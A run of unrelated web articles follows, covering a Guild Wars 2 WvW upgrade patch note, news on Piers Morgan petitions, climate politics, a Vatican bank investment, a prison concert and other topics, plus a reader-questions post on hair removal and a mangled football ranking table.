As an example scenario, let’s say the red team captures a tower. A timer on the “Defend the tower” event immediately begins. Each time an allied dolyak caravan arrives at the tower, the timer will decrease by five minutes. The Tier 1 upgrades will automatically occur sometime between 20 and 40 minutes as long as the red team can maintain control of the tower. The time depends on how many caravans safely make it to the objective. When Tier 1 completes, the tower immediately gains stone walls, an oil pot, a merchant, and a supply-hold increase. This process repeats until all the tiers are obtained and the objective is fully upgraded.
Along with this change will come an improvement to sentries. Sentries will greatly slow down enemy dolyak caravans and thus slow down objective upgrades. This will make the payoff for controlling the route between supply camps and objectives and ensuring a successful caravan more important, further enhancing the strategic objectives in WvW.
We made these changes to streamline and improve the existing system by making it cleaner, easier to understand, and more fair for players. Players no longer have to worry about taking supply from an objective while another player is waiting to have enough supply to upgrade it. Players also won’t have to worry about making an upgrade decision that other players may not like or feel like they’re the only person spending gold to upgrade objectives. This frees up players so they can focus on holding the objective until it’s upgraded and make sure the supply caravans arrive so the objective can upgrade faster.
Now that you know the future of keep upgrades, let’s take a look at some changes that will affect how you upgrade your character in WvW. We made these changes with a couple of major goals in mind. First, we wanted to reduce the costs of ability lines to make them feel more attainable, even to the majority of WvW players with a world ranking under 300. Second, we wanted to rebalance specific ability lines that felt either too weak or too mandatory. Due to granting the powerful Applied Fortitude and Applied Strength effects, the Defense Against Guards and Guard Killer lines needed to be extremely expensive, but that meant players often felt obligated to spend their first 230 points on these lines before they could begin branching out into other ability lines. Also, those two lines—along with the Siege Might, Siege Bunker, and Mercenary’s Bane lines that simply granted single percentage increases per ability rank—felt very weak. This drove our decision to shorten the Guard Killer and Defense Against Guards lines to five, removing Applied Strength and Applied Fortitude.
These are the changes we’ve made to the WvW ability system:
We reduced the total number of ability ranks of Guard Killer and Defense Against Guards from 10 to 5.
The Applied Fortitude and Applied Strength effects have been removed.
Ability lines that increased percentages from 1% to 5% now increase percentages from 2% to 10%.
We reduced the total cost of specific siege weapon lines from 75 points to 60 points.
We reduced the total cost of the Supply Capacity line from 300 points to 145 points.
The Supply Master and Mercenary’s Bane lines remain at 15 points.
We normalized all ability progression tracks of five ranks per line to 35 points.
We normalized all ability progression tracks of four ranks per line to 15 points.
In addition, we’ll be tracking world experience progress on the experience bar once your character hits level 80 rather than on the hidden blue WXP bar at the top as it does currently.
That’s all for now. See you on the battlefield!British create a petition to keep Piers Morgan in U.S. After a petition to deport the pro-gun-control CNN host gains momentum, a counter-petition emerges
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A petition calling to deport pro-gun-control CNN host Piers Morgan back to England has easily surpassed the 25,000 signatures that requires a response from the White House. Started on Friday in Texas, a few days after Morgan called gun advocate Larry Pratt "an unbelievably stupid man", the petition accuses Morgan of engaging "in a hostile attack against the U.S. Constitution" and wants to deport him "immediately for his effort to undermine the Bill of Rights and for exploiting his position as a national network television host to stage attacks against the rights of American citizens."
More than 70,000 people have signed the petition. But what if the UK doesn't want him back?
Advertisement:
A new petition called "Keep Piers Morgan in the USA" has emerged:
We want to keep Piers Morgan in the USA. There are two very good reasons for this. Firstly, the first amendment. Second and the more important point. No one in the UK wants him back. Actually there is a third. It will be hilarious to see how loads of angry Americans react.
So far, the petition only has 67 signatures. It needs an additional 24,933 by Jan. 24 to merit a response from the White House.Please note that the information here is subject to change.
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STAY TUNED FOR MORE INFO REGARDING THESE RELEASES!Heat waves emanate from the exhaust pipe of a city transit bus as it passes an American flag hung on the Los Angeles County Hall of Justice by workers renovating the historic structure on April 25, 2013 in Los Angeles, California. (David McNew/Getty Images)
For as long as Americans have voted and pundits have bloviated, each presidential election cycle has seemed The Most Important in All History.
Next year, though, may truly – actually, seriously – be different, if climate scientists are right. The next candidate Americans send to the Oval Office, experts say, may also be the very last who can avert catastrophe from climate change.
"It is urgent and the timeframe is critical and it has to be right now," says Vicki Arroyo, executive director of the Georgetown Climate Center at Georgetown Law. "We can't lose another four years, much less eight years."
And it's going to get worse, experts say.
Last year, a U.N. panel of scientists predicted the world had until 2050 to slash emissions by as much as 70 percent to keep temperatures from rising another 1.15 degrees by the end of the century. That's the threshold of an unstoppable cycle of Arctic and Antarctic melting, the release of heat-trapping gases that had been caught in the ice, more warming, more melting, more warming, more melting – until the glaciers and ice caps disappear.
But some researchers – including the man who first presented the facts on climate change to Congress in 1988 – say that that tipping point may come even sooner, perhaps as early as 2036: Humans, in short, are having an even greater impact than expected.
"Sea level projections and upcoming United Nations meetings in Paris are far too sluggish compared with the magnitude and speed of sea level changes," the scientist, Columbia professor James Hansen, wrote Wednesday in a Q&A on the web forum Reddit, discussing a study he published in July.
The needed changes are monumental: Halting climate change and heading off its worst consequences is going to require a wholesale switch from fossil fuels like coal, oil and gas to renewables like wind and solar – potentially upending utilities, energy producers and construction contractors, the sort of change "of the magnitude of the invention of the steam engine or the electrification of society," says Jules Kortenhorst, CEO of the Rocky Mountain Institute, a nonpartisan energy research group.
"How quickly can we transform one of the most complex industrial systems – our energy system – across the globe in order to move toward low carbon?" he asks. "There is absolutely no doubt we have to act now."
This presents an election – and a choice – with no historical analogues.
"This will be a make-or-break presidency as far as our ability to avert a climate change catastrophe," says Michael Mann, meteorology professor and director of the Earth System Science Center at Penn State University, whose "hockey-stick" shaped graph warned of sharply rising emissions and temperatures.
Pick any issue throughout history, he and others argue, none has shared the three qualities that make climate change stand apart: its threat to the entire planet, the short window to respond, and how sharply it has divided the two parties' candidates.
"Republicans and Democrats have argued over issues for years, but I can't think of an example where one party didn't even say that the issue exists," says Katharine Hayhoe, a climate scientist at Texas Tech University who has advised Evangelical and conservative climate action groups, and who has urged policymakers to address warming.
Among the Republicans, eight of the 17 candidates have hedged: Jeb Bush, Carly Fiorina, Lindsey Graham, Jim Gilmore, Bobby Jindal, John Kasich, George Pataki and Rand Paul have acknowledged that humans do contribute to global warming, but have questioned or stopped short of saying how much – a position at odds with the findings of a vast majority of scientists.
"The climate is changing; I don't think anybody can argue it's not. Human activity has contributed to it," Bush said in an email interview with Bloomberg BNA in July – a statement that notably did not mention how much humans were at fault. During a campaign stop in New Hampshire in June, he had previously told listeners, "The climate is changing, whether men are doing it or not," one month after calling it "arrogant" to say climate science is settled.
The rest of the GOP field – including three senators who rejected a January amendment tying human activity to climate change – has dismissed the issue outright. Paul also voted against the amendment.
"As a scientist it's very frustrating to hear politicians basically saying, 'This isn't true,' or, 'They're just making it up to get government money,'" Hayhoe says. "A thermometer is not Democrat or Republican. What observations are telling us is not political – it is what it is."
And there are conservative solutions for warming. Some party members, in fact, see it as an inherently Republican issue: Carbon emissions, for example, distort the free market, forcing others to pay the higher and indirect costs of climate change (storm recovery, disaster relief) plus the health costs associated with air pollution.
"We allow the coal industry to socialize its costs, and we conservatives don't like allowing people to socialize anything," says former South Carolina Rep. Bob Inglis, who now explores free-market solutions to climate change as head of the Energy and Enterprise Institute at George Mason University.
A revenue-neutral carbon tax, one that does not support other programs and instead goes back to households, could fix that distortion, he and others argue.
"The question is not, 'Is there going to be a tax on carbon?' It's, 'Do you want a tax that you have a voice in and control, or do you want to keep writing checks after disasters that you have no control over?'" says retired Rear Admiral David Titley, who has advised some of the GOP presidential candidates and directs the Center for Solutions to Weather and Climate Risk at Penn State University. "That $60 billion relief bill for Hurricane Sandy that passed very quickly through a Republican-led House, did you get a vote on that tax? Because that's a tax."
Yet Inglis, himself is a living example of what can happen to conservatives who call for climate action. The recipient of the JFK Profile in Courage Award in April, he was unseated in the Republican primary in 2010 after shifting his position on global warming.
"Republicans say, 'Look at what happened to him when he said it was real. Do you want that to happen to you?'" Hayhoe describes.
Oil, gas and coal companies, along with billionaire Libertarian industrialists David and Charles Koch, rank among the biggest campaign donors, and often seem as allergic to new taxes as a bubble boy to fresh pollen. But popular sentiment among voters appears to be changing: Most Republican voters say they support climate action, and last week, Shell did not renew its membership in the Koch-backed American Legislative Exchange Council because of the group's opposition to climate action.
Even the climate statements by the eight Republicans who have hedged on warming, vague as they were, may signify a kind of progress – especially during the primaries, when candidates play to their parties' more extreme bases.
"In the Great Recession in 2010, it was this very atheistic position with regard to climate change: 'We don't believe,'" Inglis says. "Then, in the 2014 cycle, 'I'm not a scientist,' that was an agnostic position. These are data points on a trend line toward a tipping point."
Republicans can exploit a distinct advantage on climate action, too, he adds: Voters tend to support the presidents who buck party stereotypes.
"Nixon goes to China, Bill Clinton signs welfare reform – the country will trust a conservative to touch climate," Inglis argues.
But climate scientists, environmental advocates and Democrats remain deeply skeptical. The most recent Republican president, for one, backpedaled on his 2000 campaign pledge to rein-in carbon emissions. Campaign donations remain hugely influential, and as Republican candidates lambaste the environmental agenda of the Obama administration, stopping climate change will actually require they expand upon Obama initiatives: resist industry pressure to slow the roll-out of tighter fuel standards for cars, push states to reduce emissions from their power sectors and uphold and ratchet-up international commitments to slow carbon emissions.
There's also the Supreme Court: with four Supreme Court justices now over the age of 70, and Ruth Bader Ginsburg pushing 80, the next president will likely have the chance to nominate new jurists to the court – a court that will almost certainly decide challenges to various environmental actions aimed at slowing global warming.
"If we are going to avoid catastrophic, irreversible climate change impacts, we have to be ramping down our carbon emissions dramatically in the years ahead. The current administration has begun that process, but our next president must not only continue but build on that progress," Mann says.
It is on the global stage where perhaps the spotlight – and climate scientists' hopes and expectations – will shine brightest. In December, negotiators from nearly 200 nations will meet in Paris to hammer-out an international climate accord. It is expected to include commitments from China and India, heavy polluters spurred to rein-in their emissions and invest in clean energy by America's own commitment to slash carbon emissions from its power sector.
"The rest of the world is going to expect the U.S. to live up to its commitment [made at the Paris meeting], no matter who is in the White House," says Henrik Selin, professor of international relations at the Pardee School of Global Studies at Boston University. "If you have a president who comes in and starts rolling back the Obama initiatives, you're going to have international leaders being very unhappy about this – and they are not just countries, they are trading partners. This is not just a domestic issue, it's also very much a foreign policy issue."
And so far, he and others argue, none of the Republican candidates have offered a clear vision on climate, let alone any plan to slow warming.
"If we want to get to that low-carbon future, we have to agree that's where we're going to go, and then we can fight over the speed at which we're going to get there," Kortenhorst, of the Rocky Mountain Institute, says.
As David Sandalow, who held senior posts in the State Department and Energy Department under Obama and is an inaugural fellow at the Columbia University Center on Global Energy Policy, describes: "There's a very big difference between electing a candidate who's committed to seriously addressing this problem and one who isn't. The implications of failing to address the problem in the next four years could be very serious."CHARLESTON, Maine — Nearly 100 inmates at the Charleston Correctional Facility and Mountain View Youth Development Center filed into the medium-security prison’s gym on Thursday, creating a scene reminiscent of when Johnny Cash recorded his live “At Folsom Prison” record in 1968 in California.
“He went there because he wanted to provide the inmates with hope,” Andrew Crowe, one of four performers who portray the country music legend in Penobscot Theatre Company’s “Ring of Fire: The Music of Johnny Cash,” said as the group drove north toward the prison campus. “He had a big heart for people on the inside. Johnny wanted to send a message that they’re not forgotten and they’re cared for.”
“It’s compassion for the underdog,” piped in fellow musician Ira Kramer.
“We want them to know they are not nailed down to their current situation,” Jeremy Sevelovitz added.
“It doesn’t take a lot to change a person’s life,” Galen Smith said from the backseat of the passenger van.
Crowe, Kramer, Sevelovitz, Smith and actress Ashley Lewis went to the Charleston prison to perform Cash’s music, hoping to inspire inmates to do more with their lives. Each actor depicted a different time in the singer’s life, and Lewis handled the roles of his mother and second wife, June Carter Cash, during the hour-long performance.
They opened with “Country Boy” and included “Ring of Fire” and “Folsom Prison Blues” in the 16 songs, ending with “A Boy Named Sue.” They also did a modified version of “I’ve Been Everywhere” using Maine community names and encouraging the inmates to yell out when their hometowns were heard. That song drew a response from the inmates, who started to loosen up a little, some tapping their feet to the music and others slapping their knees to the rhythm of the music.
“You’re worth something” is the message Lewis said she hopes the inmates got from the performance. “That their lives are going to expand beyond this space.”
Cash, who used drugs and had brushes with the law, reached new audiences after the “At Folsom Prison” record was released. He sang about prisons but never served hard time, and Lewis and others in the group believe, that’s because he found music.
“How many times did it give me the way out of a dark place,” she said.
Kramer said he can associate with each and every inmate because he’s put himself into situations in his life that could have resulted in jail time.
With different decisions, “I could be where they are,” he said.
The performers greeted the inmates as they entered the gymnasium and made it a point to say goodbye and shake hands with as many as possible as they filed out.
“I’ve been here 3½ years, and I’ve never smiled this much,” one inmate in the new Young Male Offender Program at the Mountain View Youth center said to Kramer.
He responded, “Thanks man. Keep that with you.”
The “Ring of Fire: The Music of Johnny Cash” continues at the Penobscot Theatre in Bangor through Oct. 3. To purchase tickets, call the Penobscot Theatre Company at 942-3333 or visit penobscottheatre.org.Last month Image Comics released a new title by the famous writer-artist team Kieron Gillen and Jamie McKelvie, best known for PHONOGRAM and Young Avengers. Their latest project, The Wicked + The Divine, tells the story of twelve gods who appear on earth in human form every ninety years, inspire the masses, and then die within just two years. In the 21st century “recurrence” these deities live out their time on earth as the most worshipped of all figures: pop idols.
The gods who appear in The Wicked + The Divine represent a wide range of different theistic traditions and mythology, some of which are familiar to the casual reader and some of which are more than a bit more obscure. In honor of the release of issue #2, I’ve created this brief field guide to six of the twelve gods of the pantheon. As the other six appear in the story I’ll update with a part two.
Disclaimer: I am not a practitioner of any of the religions here mentioned, so my knowledge is as a well-read but uninvolved outsider.
Amaterasu
Religion: Shinto
Translation: (Full: Amaterasu Omikami) “Great Divinity Illuminating Heaven”
Amaterasu is a sun goddess and one of the most prominent deities of the Shinto religion. The first mention of her is found in a text from 680 CE. She and her two brothers, Susanoo and Tsukuyomi, created Japan with their paintbrushes. Amaterasu has a strained relationship with her brothers: Tsukuyomi, the moon, distressed her by killing another goddess, so Amaterasu separated night and day so she would not have to share the sky with him. Susanoo, the god of the sea and storms, treated her rudely and so she hid from him in a cave and deprived the world of light. She was only lured out again by the sight of her own reflection and the crowing of a rooster. A mirror is kept at her shrine in Ise, said to be the actual mirror that brought her out of her cave. The Japanese imperial family claims to be descended from Amaterasu. In the comic, Amaterasu is the most benevolent, kind, and patient of the gods introduced so far. She responds calmly to criticism from an interviewer and inspires a kind of widespread euphoria during her stage performance.
Lucifer
Religion: Judeo-Christian (derived from Canaanite mythology)
Translation: “Morning Star”/“Light-Bringing”
In Christian tradition, the name Lucifer is used to describe an angel—associated with selfishness, manipulation, greed, and hubris—who defied God and was cast out of heaven. The first mention of Lucifer (literally “morning star” in Latin) in the Bible is in the Book of Isaiah, which describes how he attempted to make himself “like the Most High” only to be cast down into the underworld. This story is most likely borrowed from the Canaanite story of the god Attar, who tried to dethrone the king of gods, El. When he was unsuccessful he left to rule the underworld instead. It is now common to use “Lucifer” and “Satan” interchangeably because of the similarities between the Biblical and Canaanite stories. A loosely-organized religion known as Luciferianism (not to be confused with Satanism) has adopted Lucifer as a symbol of guidance and enlightenment, as per his original “morning star” title, but the association with evil is much more culturally prominent. The Lucifer of The Wicked + The Divine (a woman who goes by Luci) does not seem to embody the absolute evil that Christian religions are fond of. Though impatient, sexual, and apparently quite fond of cocaine, she has not shown any inclination toward cruelty and claims that she’s “not a jealous god.”
Sakhmet
Religion: Egyptian myth
Translation: “Powerful One”
Sakhmet (more commonly transliterated as Sekhmet) is a lion-headed Egyptian goddess paradoxically associated with warfare, fire, and vengeance, as well as healing, menstruation, and reproduction. Though chaotic and dangerous, Sakhmet can also cure disease, avert plagues, and encourage fertility, and as such she is seen as a balancing force. Because of her volatile temperament, Sakhmet is one of the deities most commonly depicted in ancient Egyptian religious art. These tributes and the rituals for which they were used were an attempt to please her and prevent her destructive behavior. Like many Egyptian deities, Sakhmet is also linked to the sun: the dry midday heat is her fiery breath, and she is said to have created the desert in a fit of rage. The lineages of Egyptian gods are very convoluted and vary from one reading to another, but Sakhmet may have been a daughter of the sun god Ra. All she has done in the comic so far is get overexcited about a laser, but Luci’s joking comment about her “coming into heat” is either a pun or it implies that she may have some kind of connection with fertility in her human incarnation.
Baal
Religion: Various
Translation: “Lord” or “Master”
Unlike the other deities represented in The Wicked + The Divine, the name Baal is not representative of a specific god from a specific religion. The word “baal” is a Semitic term that may refer to any deity worshipped by various cults in the ancient Near East, or even to a human of significant authority, a master craftsperson, or the head of a household. Because his symbol in The Wicked + The Divine appears to be a ram, and because his tattoos seem to have a Mediterranean motif, it’s likely that “Baal” in this context is referring to Baal-hamon, a horned god worshipped in ancient Carthage. Though many iterations of Baal are associated with fire and possibly with the sun, sources from the 5th century BCE suggest that worshippers of Baal-hamon burned their own children alive in tribute to him. Little else is known about this deity, but he may have connections with Dagon, the |
, ranking them 1-25 based on their evaluations entering the 2016 season. From those, we aggregated an overall top-25 list by using a points system. A player received 25 points for a first-place vote, 24 points for second place and so on through one point for a 25th-place vote.
Three players shared the seven first-place votes. In all, 58 players received at least one top-25 vote. Tell us where we erred by leaving a comment below, or join the debate on Twitter by using #CFBTop25.
1681st4th1st
1671st5th2nd
1552nd5th8th
1441st24th4th
1135th17thNR
1126th16th3rd
1097th16th10th
1074thNR5th
914thNRNR
837thNRNR
776thNR7th
678thNR6th
6310thNRNR
626thNRNR
569thNR14th
5111thNR9th
506thNRNR
416thNRNR
395thNR13th
3711thNRNR
368thNR15th
3414thNR12th
3115thNRNR
2811thNR16th
2714thNRNR
CFB 24/7 voting panel: Gil Brandt, Bucky Brooks, Charles Davis, Chase Goodbread, Daniel Jeremiah, Chad Reuter and Lance Zierlein.
Follow College Football 24/7 on Twitter @NFL_CFB.Good sociological research illuminates how individuals in society interact with social institutions and with one another. Sometimes, this research can uncover some of the feel-good aspects of social life. Other times, it can leave you despairing for humanity and raging against social structures.
A new report by Marquette University sociologist Heather Hlavka evokes the latter feelings. Analyzing over 100 interviews with girls aged 3 to 17 who may have been sexually assaulted, Hlavka found that the majority of these young women didn’t see themselves as victims because they considered sexual harassment a “normal” part of everyday life and male behavior.
For years, politicians, pundits, academics, and community advocates have been troubled by the staggering statistic that 60% of sexual assault and harassment goes unreported. Hlavka’s research speaks to some of the reasons behind this figure. Beyond the normalization of sexual harassment and assault, she finds that assaults go unreported out of shame, fear of retribution, and mistrust of authority. This mistrust extends to male authority figures, including police officers, to whom many of these women and girls would report an assault.
Hlavka sees her study as a call to action. Changing the way we think about sexual assault and sexual harassment might be a big step toward stopping it.
You can watch Hlavka discuss her research on the Melissa Harris-Perry Show.VATICAN CITY (Reuters) - Two years ago, the Vatican bank invested 15 million euros in an Italian television company that makes family movies, including films about popes and a series about a bike-riding country priest who helps police solve crimes.
Pope Emeritus Benedict XVI is greeted by Cardinal Tarcisio Bertone (R) as he arrives to attend a consistory ceremony in Saint Peter's Basilica at the Vatican February 22, 2014. REUTERS/Max Rossi
The Vatican’s then Secretary of State Tarcisio Bertone ordered the investment in Lux Vide SpA, which he said shares the Holy See’s “lofty goal of evangelisation”.
Bertone, who was the second-in-command to former Pope Benedict, pushed the deal through despite objections from the bank’s director and board members, who thought the expense was too big and not justified for the bank, according to current and former bank executives.
Last month, the Vatican booked a loss for the entire amount spent, as part of a wider review of Vatican finances that has also led to the closure of hundreds of accounts at the Institute for Religious Works, or IOR by its Italian acronym, as the bank is called.
Bertone, who still stands by the decision to invest in the television company, said that when the bank approved the deal it did so with the board’s unanimous consent.
The zeroing of the Lux Vide investment is emblematic of Pope Francis’s effort to loosen ties between the Holy See and Italy’s business and political world, a longstanding network of relations the Argentine pontiff considers improper to the Church’s religious mission.
In his first 16 months in office, Pope Francis has been trying to reform the Curia, as the Vatican’s central administration is called. He has hired international consulting firms to improve financial accounting procedures. He has given broad economic powers to an Australian cardinal seen as distant from the centres of power in Italy.
In the process, one of the biggest changes has been to curtail the powers of the Vatican Secretary of State, in particular over the Holy See’s financial affairs.
The Secretary of State has always held an important role, serving effectively as deputy pope. But Bertone had amassed an unusually overarching power over Vatican administration and finances when he held the role between 2006 and 2013.
Former Pope Benedict, a theologian who continued writing professorial books after his election, had little interest in administrative affairs and gave Bertone free rein in running the Vatican administration.
Much of Bertone’s power, which sowed such conflict within the Vatican over the years as to accelerate Pope Benedict’s decision to retire in February 2013, was wielded through the IOR. Bertone presided over a committee of cardinals that oversaw the bank’s board and directors.
According to former bank executives, Bertone backed a proposal for the IOR to buy up to 25 percent of Lux Vide in 2010 and, again in 2012. Both times, the bank’s directors tried to reject the deal, saying it was not in the IOR’s interest to invest in television companies and that the price was high, said the executives who asked not to be identified because they are not allowed to speak about bank business.
But the deal was eventually approved. “The board said ‘this is not a good idea’ but could not block the deal,” said a current bank official. “The message was: the boss (Bertone) wants this.”
Under the new structure created by Pope Francis, Bertone’s successor as Vatican secretary of state, Cardinal Pietro Parolin, has no direct power over any of the financial affairs of the Holy See, including the IOR and APSA, the Vatican’s asset management and investment arm. Pope Francis appointed an independent team of experts to oversee APSA, a sprawling entity that controls the Vatican’s real estate holdings and acts as a central purchasing and human resources department, to see whether its deals are central to the mission of the Church.
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For decades the Vatican had intricate relations with Italian politics and business. A notable example was the IOR’s entanglement in the fraudulent bankruptcy in 1982 of the Banco Ambrosiano, whose president Roberto Calvi was found hanged under London’s Blackfriars Bridge that year. The IOR, which said it was hoodwinked into backing the Italian bank, paid creditors a $250 million settlement.
But Pope Francis has made it clear that he wants a clean distinction between the role of the Church and politics and business.
“Politics is noble, it is one of the highest forms of charity...,” he told an interviewer last year. “We dirty it when we use it for business. Even the relationship between the church and political power can be corrupt if it does not converge for the common good.”
Lux Vide SpA produces television programs and movies for RAI state broadcaster and other European channels. Its 2008 mini series about Coco Chanel was nominated for an Emmy.
It has also produced mini-series on the Bible and on the lives of a number of popes. Its productions, including “Convent Mysteries,” about a young nun with a turbulent past who has found a vocation mixing sleuthing and religion – draw high audience shares in Italy.
The family company, now run by three children of founder Ettore Bernabe, first went to Bertone at the end of 2010, proposing that the Vatican invest some 20 million euros in a 25 percent stake in the company.
Bertone, who was then president of the committee of cardinals that oversaw the bank, liked the idea of helping a company whose television films gave the Church a good image.
“The IOR is called the Institute for Works of Religion. Obviously, Bertone thought this [Lux Vide’s television productions] was a work of religion,” Luca Bernabe, Lux Vide’s chief executive officer, said in an interview.
Bertone took the proposal to then bank chairman Ettore Gotti Tedeschi, who rejected the idea. Gotti Tedeschi told Bertone that he “refused to do this with the pope’s money,” according to a former bank official with direct knowledge of events.
Bertone and Gotti Tedeschi had clashed before, including over other investments that Bertone wanted to make in an Italian bank and a hospital, according to current and former executives. The Lux Vide investment was at first put on ice. But Bertone and Gotti Tedeschi would clash over other issues, including efforts by the bank to comply with international rules against money laundering. In May, 2012, Gotti Tedeschi was fired.
Barely a month after Gotti Tedeschi’s departure, Lux Vide made a new proposal to the IOR. Current and former bank officials say the board, now without a chairman, initially rejected the new offer as well, but finally approved it after a strong push by Bertone.
The bank bought a 15 million euro convertible bond which would give it a 17 percent stake in Lux Vide in a deal finalised in December, 2012.
“You get a recommendation. ‘Please consider this’. OK, we considered it and we don’t think it’s a good idea. ‘OK take a look at it again.’ OK, now we’ve looked at again, we really don’t think it’s the best investment. ‘Thank you very much, now I want you to do it anyway,’” said a former bank official with direct knowledge of events, characterising Bertone’s role in pushing the board to approve the deal.
In an email to Reuters, Bertone said the Lux Vide deal had been unanimously approved by the board. He said the company’s “television series and films of Biblical and Christian inspiration and educational nature adhere to church projects on evangelisation”.
Three months after the deal, on Feb 11, 2013, Pope Benedict announced that he would abdicate at the end of that month. On Feb. 15, in one of his last appointments, Benedict named a fellow German, Ernst Von Freyberg, to succeed Gotti Tedeschi as IOR chairman.
A cascade of changes took place at the bank, including the resignation of two top directors and the arrest of a Vatican accountant who is standing trial on charges of using the IOR to help his rich friends launder money. The two directors are also due to stand trial on charges of violating Italy’s anti-money laundering norms. They all deny wrongdoing.
In October of last year, Bertone was replaced as secretary of state. Months later, as part of Pope Francis’s wider review of the bank, Bertone and the three other cardinals of the IOR’s oversight committee were removed from their posts. The pontiff also instituted a new department, the Secretariat for the Economy, to oversee Vatican finances, putting it in the hands of Australian Cardinal George Pell.
Freyberg stepped down from the chairmanship of the bank last month. One of his last moves was signing off on the bank’s 2013 financial figures which included the write off of the entire value of the Lux Vide investment.
The decision to write it off was taken because Freyberg believed the bond had been purchased without any guarantees on the performance of Lux Vide, a bank official said.
Bernabe, the Lux Vide chief, said he believes the bond is still worth roughly what the IOR paid for it - about 15 million euros. He added that the family business had 600,000 euros in net profits in 2013.
But rather than try to put a value on the bond, the IOR under Freyberg took a 15 million euro charge for its full cost and donated the bond to the Science and Faith Foundation, a Vatican-run think tank, clearing it off the bank’s books. Monsignor Tomasz Trafny, an official at the Science and Faith Foundation, said he did not know what the bond could be worth.
The charge to unwind the Lux Vide deal, combined with other extraordinary costs related to the bank’s clean up operations, nearly wiped out its profit for last year, according to the accounts signed off by Freyberg and released last month. Profit fell to 2.9 million euros from 86.6 million euros in 2012.
A spokesman for the bank said there would be no comment on the Lux Vide deal beyond what was published in the 2013 financial figures.Last week, our Beauty 101 series focused on the hair that sits atop one's head. This week, we're going to concentrate on reader concerns about the hair that grows, well, pretty much everywhere else:
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Our readers had questions about everything from pubic hair trimming to facial hair removal, and they're counting on you to help:
the one maintenance tip that I've really yet to pick up and master is about trimming pubic hair. tmi, I realize, but truly, I just have an ad-hoc system going on right now. any suggestions?
Two words: nether regions. I don't have enough money to be getting professionally waxed all the time, but shaving gives me bumps and is painful and the home products specifically for bikini - line maintenance never work. I've given up.
I cannot keep my legs and armpits smooth without professional waxing. and I don't like waxing because your hair has to grow in between. If I shave, I get black dots that look bad too. And Nair doesn't work for me AT ALL, only about 1/2 of my hair falls out. So, I can only wear skirts (without tights) on the occasions that I've just waxed, which means only a few days every month or so. my hair can be pretty obvious as it is black, and I didn't inherit my mom's baby-fine leg hair, which, although black, was not very visible. (sadly I am not as devil-may-care as Monique, I really wish I was!) and it means I got to get the timing right if I want to go to the beach. HELP!
Shaving. I always miss a spot & cut myself. I shave everyday, in the winter, when I'm not getting laid... I should really be a pro by now.
This is going to sound weird, but I have a hard time shaving my thighs. My calves/shins are smooth, but I can't get the same result above my knee; the skin always feels sort of rough and stubbly and I always manage to miss a big patch somewhere. I'm wondering if I should just try using Nair or something (which I use on my forearms - what? I have fuzzy arms, okay?!).
I could never shave without cutting myself. So at 16 I pretty much gave up shaving all together. Every now and then, if I have something fancy I need to go to and don't want to offend the fancy people by reminding them of the fact that women actually do grow body hair, I shave. And I still suck at it.
I still haven't found the ideal way to remove facial hair. Waxing is great for my eyebrows, lest I look like Groucho Marx. But I also have hair on my upper lip, chin, and sides of my neck. Not like a beard, exactly, but enough to bother me. Plucking tends to cause ingrown hairs, which look like blemishes. Shaving, per the advice of a facialist I know, is quick but you have to do it like every other day or you have stubble. Nair works - but not on the chin hairs, which grow like redwoods and are as black as cat hair. And I'm a natural blonde (WTF, mother nature?). Laser hair removal seems promising, but it's expensive and takes like a year to complete. So I cycle through all the above, combating hair, stubble, blemishes, etc., in a monthly cycle.
Creating a landing strip or triangle with my pubes. I keep ending up with a Hitler mustache. I just bought one of those new trimmer/razor contraptions from Shick. I'm hoping it will help me solve my sculpting problems. Nothing ruins the mood quite like a hitler mustache right above your happy fun place. Am I right?
My worst is leg shaving. I have NEVER managed the perfectly smooth, no visible follicles look everyone else seems to achieve. I shave and 10 minutes later look at my legs and can see every damn follicle.
Okay, how does ladybit shaving actually work? Or even just a bikini shave? I've tried, but the ingrown hairs crop up about five minutes after I finish. It's so traumatic that I've just avoided it altogether and refused to wear any bathing suit that did not have board shorts as bottoms since the beginning of high school. College dance performance season and the prospect of a mandated leotard never fails to terrify me.
Lady-bits grooming. Not shaving, because that's not my thing, but just general hedge maintenance—seems so straightforward yet I'm always at a loss. And it's so awkward to see what I'm doing down there plus I'm terrified of any sort of sharp objects thereabouts. Where do people learn these things?
The majority of shaving/waxing concerns can be summed up with these 5 questions:
1. How do I avoid ingrown hairs?
2. How can I remove lip/chin/facial hair without causing blemishes or scarring?
3. How can I get my legs to stay smooth after shaving?
4. How do I remove/trim/shape my pubic hair/bikini line?
5. What's the best way to remove arm hair?
6. How can I avoid cutting myself while shaving?
7. I'm thinking about going totally natural—any tips? Personal experiences to share?
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8. Should I pluck, wax or shave stray hairs on my chest/chin/nipples/lip etc.?
Think you can help your fellow commenters? Leave your tips and tricks in the comments below, or email them to me before 6pm this evening. I'll post your responses tomorrow.
Earlier: Beauty 101: Your Hair Questions, Answered
Beauty 101: Your Foundation And Concealer Concerns, Answered
Beauty 101: Your Eyeliner Woes, SolvedGun (Shuttershock)
A Michigan man will face felony charges after police determined he made up a story about being wounded in a shootout while riding to a liquor store in his motorized cart.
The 49-year-old Mount Clemens man, whose name has not been released, told police he was caught Friday afternoon in a shootout — but investigators were unable to find any evidence to support his claims, reported the Macomb Daily.
“It never happened,” said Lt. John Michalke, of the Macomb County Sheriff’s Office. “We believe it was an accidental discharge of a weapon.”
The man suffered a gunshot wound to his left calf, and he was still on the phone with dispatchers when police arrived.
He was taken to a nearby hospital as police tried to track down the shooters based on descriptions provided by the wounded man.
However, police found no evidence of the shooting and no other complaints about gunfire.
The man, who was treated and released later that evening, eventually admitted he made up the shootout, police said.
Police searched his home after obtaining a warrant but have not located the gun — which authorities said the man, a convicted felon, should not have been carrying.
Investigators asked prosecutors to charge the man with filing a false felony report and illegal possession of a firearm.
Authorities said the man uses the motorized scooter after suffering a stroke, and they said he had also recently broken his arm.'Fox & Friends' offers tips for apologizing (Screen cap).
“Fox & Friends” has shifted in subtle — but unmistakeable — ways since the election to prop up President Donald Trump.
Trump has always been on friendly terms with the show, which he frequently called in for interviews as a candidate, and he praises and thanks the show’s hosts on Twitter from the White House — but a new Vox analysis shows how the Fox News program has served the president’s agenda.
“The show’s hosts were always good at making Trump feel like they were on his side, but once he won the presidency, ‘Fox & Friends’ ramped up this rhetoric, whether consciously or not,” writes Vox reporter Alvin Chang. “They started using ‘we’ statements with a lot more frequency, hinting that his goals and his identity were somehow tied to theirs.”
The transcript analysis found that “Fox & Friends” hosts advise the president on air more frequently since the election — with a 50-percent jump in imperative statements.
This has been accompanied by hosts assuring guests and viewers about future events, Vox reported, with a massive spike in predictions that something in particular is “going to” happen.
Those shifts have essentially turned the program into a “brainstorming session” with the president, Vox found.
